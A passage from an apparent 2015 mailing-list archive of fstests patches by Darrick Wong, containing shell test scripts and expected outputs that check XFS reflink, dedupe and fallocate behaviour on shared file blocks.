2-4 do not match (intentional) diff --git a/tests/generic/806 b/tests/generic/806 new file mode 100755 index 0000000..defcc20 --- /dev/null +++ b/tests/generic/806 @@ -0,0 +1,89 @@ +#! /bin/bash +# FS QA Test No. 806 +# +# Ensure that we can dedupe parts of two files: +# - Dedupe identical parts of two identical files +# - Check that still have identical contents +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "dedupe" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file2 >> $seqres.full +sync + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file2) \ + || echo "Files do not match" + +echo "Dedupe the middle blocks together" +free_before="$(stat -f -c '%a' $TESTDIR)" +$XFS_IO_PROG -f -c "dedupe $TESTDIR/file1 $((BLKSZ * 4)) $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2 >> $seqres.full +_test_remount +free_after="$(stat -f -c '%a' $TESTDIR)" +echo "freesp changed by $free_before -> $free_after" >> $seqres.full + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file2) \ + || echo "Start sections do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "Middle sections do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "End sections do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/806.out b/tests/generic/806.out new file mode 100644 index 0000000..7c0fbf2 --- /dev/null +++ b/tests/generic/806.out @@ -0,0 +1,4 @@ +QA output created by 806 +Create the original files +Dedupe the middle blocks together +Compare sections diff --git a/tests/generic/807 b/tests/generic/807 new file mode 100755 index 0000000..e86339d --- /dev/null +++ b/tests/generic/807 @@ -0,0 +1,89 @@ +#! /bin/bash +# FS QA Test No. 807 +# +# Ensuring that we cannot dedupe non-matching parts of files: +# - Fail to dedupe non-identical parts of two different files +# - Check that nothing changes in either file +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "dedupe" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file2 >> $seqres.full +sync + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file2) \ + || echo "Files do not match (intentional)" + +echo "(Fail to) dedupe the middle blocks together" +free_before="$(stat -f -c '%a' $TESTDIR)" +$XFS_IO_PROG -f -c "dedupe $TESTDIR/file1 $((BLKSZ * 4)) $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2 >> $seqres.full +_test_remount +free_after="$(stat -f -c '%a' $TESTDIR)" +echo "freesp changed by $free_before -> $free_after" >> $seqres.full + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file2) \ + || echo "Start sections do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "Middle sections do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "End sections do not match (intentional)" + +# success, all done +status=0 +exit diff --git a/tests/generic/807.out b/tests/generic/807.out new file mode 100644 index 0000000..9422bc1 --- /dev/null +++ b/tests/generic/807.out @@ -0,0 +1,8 @@ +QA output created by 807 +Create the original files +Files do not match (intentional) +(Fail to) dedupe the middle blocks together +Compare sections +Start sections do not match (intentional) +Middle sections do not match (intentional) +End sections do not match (intentional) diff --git a/tests/generic/817 b/tests/generic/817 new file mode 100755 index 0000000..109a9d8 --- /dev/null +++ b/tests/generic/817 @@ -0,0 +1,125 @@ +#! /bin/bash +# FS QA Test No. 817 +# +# Ensure that we can reflink the last block of a file whose size isn't +# block-aligned. +# - Create two 'a' files file whose size isn't block-aligned. +# - Create two 'b' files file whose size isn't block-aligned. +# - Reflink the last block of file1 to the last block in file2 and file3. +# - Check that files 1-2 match, 3-4 don't match, and that nothing matches 3. +# - Check that the ends of 1-3 match, and 1-3 do not match the end of file4. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ + 37))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ + 37))" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ + 37))" $TESTDIR/file3 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ + 37))" $TESTDIR/file4 >> $seqres.full + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" = "${C4}" || echo "file3 and file4 should match" + +echo "Reflink the last blocks together" +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $BLKSZ $BLKSZ 37" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $BLKSZ $BLKSZ 37" $TESTDIR/file3 >> $seqres.full +_test_remount + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +echo "Compare files" +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" != "${C4}" || echo "file3 and file4 should match" + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file2) \ + || echo "End sections of files 1-2 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file3) \ + || echo "End sections of files 1-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file4) \ + || echo "End sections of files 1-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file3) \ + || echo "End sections of files 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file4) \ + || echo "End sections of files 2-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file3) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file4) \ + || echo "End sections of files 3-4 do not match (intentional)" + +# success, all done +status=0 +exit diff --git a/tests/generic/817.out b/tests/generic/817.out new file mode 100644 index 0000000..3574727 --- /dev/null +++ b/tests/generic/817.out @@ -0,0 +1,8 @@ +QA output created by 817 +Create the original files +Reflink the last blocks together +Compare files +Compare sections +End sections of files 1-4 do not match (intentional) +End sections of files 2-4 do not match (intentional) +End sections of files 3-4 do not match (intentional) diff --git a/tests/generic/818 b/tests/generic/818 new file mode 100755 index 0000000..0a99768 --- /dev/null +++ b/tests/generic/818 @@ -0,0 +1,125 @@ +#! /bin/bash +# FS QA Test No. 818 +# +# Ensure that we can dedupe the last block of a file whose size isn't +# block-aligned. +# - Create two 'a' files file whose size isn't block-aligned. +# - Create two 'b' files file whose size isn't block-aligned. +# - Dedupe the last block of file1 to the last block in file2 and file3. +# - Check that files 1-2 match, and that 3-4 match. +# - Check that the ends of 1-2 and 3-4 match, and that 1-3 don't match. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "dedupe" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ + 37))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ + 37))" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ + 37))" $TESTDIR/file3 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ + 37))" $TESTDIR/file4 >> $seqres.full + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" = "${C4}" || echo "file3 and file4 should match" + +echo "Dedupe the last blocks together" +$XFS_IO_PROG -f -c "dedupe $TESTDIR/file1 $BLKSZ $BLKSZ 37" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "dedupe $TESTDIR/file1 $BLKSZ $BLKSZ 37" $TESTDIR/file3 >> $seqres.full +_test_remount + +C1="$(_md5_checksum $TESTDIR/file1)" +C2="$(_md5_checksum $TESTDIR/file2)" +C3="$(_md5_checksum $TESTDIR/file3)" +C4="$(_md5_checksum $TESTDIR/file4)" + +echo "Compare files" +test "${C1}" = "${C2}" || echo "file1 and file2 should match" +test "${C1}" != "${C3}" || echo "file1 and file3 should not match" +test "${C1}" != "${C4}" || echo "file1 and file4 should not match" +test "${C2}" != "${C3}" || echo "file2 and file3 should not match" +test "${C2}" != "${C4}" || echo "file2 and file4 should not match" +test "${C3}" = "${C4}" || echo "file3 and file4 should match" + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file2) \ + || echo "End sections of files 1-2 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file3) \ + || echo "End sections of files 1-3 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file4) \ + || echo "End sections of files 1-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file3) \ + || echo "End sections of files 2-3 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file4) \ + || echo "End sections of files 2-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file3) \ + <($XFS_IO_PROG -f -c "pread -q -v $BLKSZ 37" $TESTDIR/file4) \ + || echo "End sections of files 3-4 do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/818.out b/tests/generic/818.out new file mode 100644 index 0000000..242dc8c --- /dev/null +++ b/tests/generic/818.out @@ -0,0 +1,9 @@ +QA output created by 818 +Create the original files +Dedupe the last blocks together +Compare files +Compare sections +End sections of files 1-3 do not match (intentional) +End sections of files 1-4 do not match (intentional) +End sections of files 2-3 do not match (intentional) +End sections of files 2-4 do not match (intentional) diff --git a/tests/generic/819 b/tests/generic/819 new file mode 100755 index 0000000..08bc374 --- /dev/null +++ b/tests/generic/819 @@ -0,0 +1,128 @@ +#! /bin/bash +# FS QA Test No. 819 +# +# Ensure that we can reflink and dedupe blocks within the same file... +# - Create a file with three distinct blocks ABB +# - Reflink block zero to the multiple-of-three blocks +# - Reflink block one to the multiple-of-five blocks +# - Dedupe block two to the multiple-of-seven blocks +# - Check that we successfully avoid deduping with holes, unwritten +# extents, and non-matches; but actually dedupe real matches. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_xfs_io_command "dedupe" +_require_xfs_io_command "falloc" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ $((BLKSZ * 2))" $TESTDIR/file1 >> $seqres.full + +NR_BLKS=1024 + +echo "fallocate half the file" +$XFS_IO_PROG -f -c "falloc $((NR_BLKS * BLKSZ / 2)) $((NR_BLKS * BLKSZ / 2))" $TESTDIR/file1 >> $seqres.full + +echo "Reflink block zero to the threes" +seq 1 $((NR_BLKS / 3)) | while read nr; do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 0 $((nr * 3 * BLKSZ)) $BLKSZ" $TESTDIR/file1 >> $seqres.full +done + +echo "Reflink block one to the fives" +seq 1 $((NR_BLKS / 5)) | while read nr; do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $BLKSZ $((nr * 5 * BLKSZ)) $BLKSZ" $TESTDIR/file1 >> $seqres.full +done + +echo "Dedupe block two to the sevens" +seq 1 $((NR_BLKS / 7)) | while read nr; do + $XFS_IO_PROG -f -c "dedupe $TESTDIR/file1 $((BLKSZ * 2)) $((nr * 7 * BLKSZ)) $BLKSZ" $TESTDIR/file1 >> $seqres.full +done + +_test_remount + +echo "Check block mappings" +crcZ=$(_md5_range_checksum /dev/zero 0 $BLKSZ) +crc0=$(_md5_range_checksum $TESTDIR/file1 0 $BLKSZ) +crc1=$(_md5_range_checksum $TESTDIR/file1 $BLKSZ $BLKSZ) +crc2=$(_md5_range_checksum $TESTDIR/file1 $((BLKSZ * 2)) $BLKSZ) + +check_block() { + lblk="$1" + rem7=$((lblk % 7)) + rem5=$((lblk % 5)) + rem3=$((lblk % 3)) + + crc=$(_md5_range_checksum $TESTDIR/file1 $((lblk * BLKSZ)) $BLKSZ) + + if [ $rem7 -eq 0 ]; then + if [ $rem5 -eq 0 ]; then + test $crc2 = $crc || echo "lblk $lblk doesn't match block 2" + elif [ $rem3 -eq 0 ]; then + test $crc0 = $crc || echo "lblk $lblk doesn't match block 0" + elif [ $lblk -lt $((NR_BLKS / 2)) ]; then + test $crcZ = $crc || echo "lblk $lblk isn't zeroed" + fi + elif [ $rem5 -eq 0 ]; then + test $crc1 = $crc || echo "lblk $lblk doesn't match block 1" + elif [ $rem3 -eq 0 ]; then + test $crc0 = $crc || echo "lblk $lblk doesn't match block 0" + elif [ $lblk -lt $((NR_BLKS / 2)) ]; then + test $crcZ = $crc || echo "lblk $lblk isn't zeroed" + fi +} + +seq 3 $((NR_BLKS - 1)) | while read lblk; do + err="$(check_block $lblk)" + test -n "$err" && echo "$lblk: $err" +done + +# success, all done +status=0 +exit diff --git a/tests/generic/819.out b/tests/generic/819.out new file mode 100644 index 0000000..0ee5b14 --- /dev/null +++ b/tests/generic/819.out @@ -0,0 +1,7 @@ +QA output created by 819 +Create the original file blocks +fallocate half the file +Reflink block zero to the threes +Reflink block one to the fives +Dedupe block two to the sevens +Check block mappings diff --git a/tests/generic/group b/tests/generic/group index d8b21ce..25cffa7 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -210,3 +210,11 @@ 800 auto quick clone 801 auto quick clone 802 auto quick clone +803 auto quick clone +804 auto quick clone +805 auto quick clone +806 auto quick clone +807 auto quick clone +817 auto quick clone +818 auto quick clone +819 auto quick clone From darrick.wong@oracle.com Wed Oct 7 00:13:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C8B3729EFE for ; Wed, 7 Oct 2015 00:13:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B2E268F8049 for ; Tue, 6 Oct 2015 22:13:57 -0700 (PDT) X-ASG-Debug-ID: 1444194832-04cbb03f140dc60001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id i4EyrKQW136igWzW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:53 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975Dkaa025316 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:47 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975DkmY006112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:13:46 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975DkbB026977; Wed, 7 Oct 2015 05:13:46 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:45 -0700 Subject: [PATCH 06/12] reflink: test the various fallocate modes From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 06/12] reflink: test the various fallocate modes To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:44 -0700 Message-ID: <20151007051344.3260.75717.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194833 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check that the variants of fallocate (allocate, punch, zero range, collapse range, insert range) do the right thing when they're run against a range of reflinked blocks. Signed-off-by: Darrick J. Wong --- tests/generic/811 | 126 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/811.out | 6 ++ tests/generic/812 | 116 +++++++++++++++++++++++++++++++++++++++++++++ tests/generic/812.out | 5 ++ tests/generic/813 | 112 ++++++++++++++++++++++++++++++++++++++++++++ tests/generic/813.out | 5 ++ tests/generic/814 | 112 ++++++++++++++++++++++++++++++++++++++++++++ tests/generic/814.out | 5 ++ tests/generic/815 | 103 ++++++++++++++++++++++++++++++++++++++++ tests/generic/815.out | 5 ++ tests/generic/816 | 112 ++++++++++++++++++++++++++++++++++++++++++++ tests/generic/816.out | 5 ++ tests/generic/group | 6 ++ 13 files changed, 718 insertions(+) create mode 100755 tests/generic/811 create mode 100644 tests/generic/811.out create mode 100755 tests/generic/812 create mode 100644 tests/generic/812.out create mode 100755 tests/generic/813 create mode 100644 tests/generic/813.out create mode 100755 tests/generic/814 create mode 100644 tests/generic/814.out create mode 100755 tests/generic/815 create mode 100644 tests/generic/815.out create mode 100755 tests/generic/816 create mode 100644 tests/generic/816.out diff --git a/tests/generic/811 b/tests/generic/811 new file mode 100755 index 0000000..8d3aa90 --- /dev/null +++ b/tests/generic/811 @@ -0,0 +1,126 @@ +#! /bin/bash +# FS QA Test No. 811 +# +# Ensure that fallocate steps around reflinked ranges: +# - Reflink parts of two files together +# - Fallocate all the other sparse space. +# - Check that the reflinked areas are still there. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* 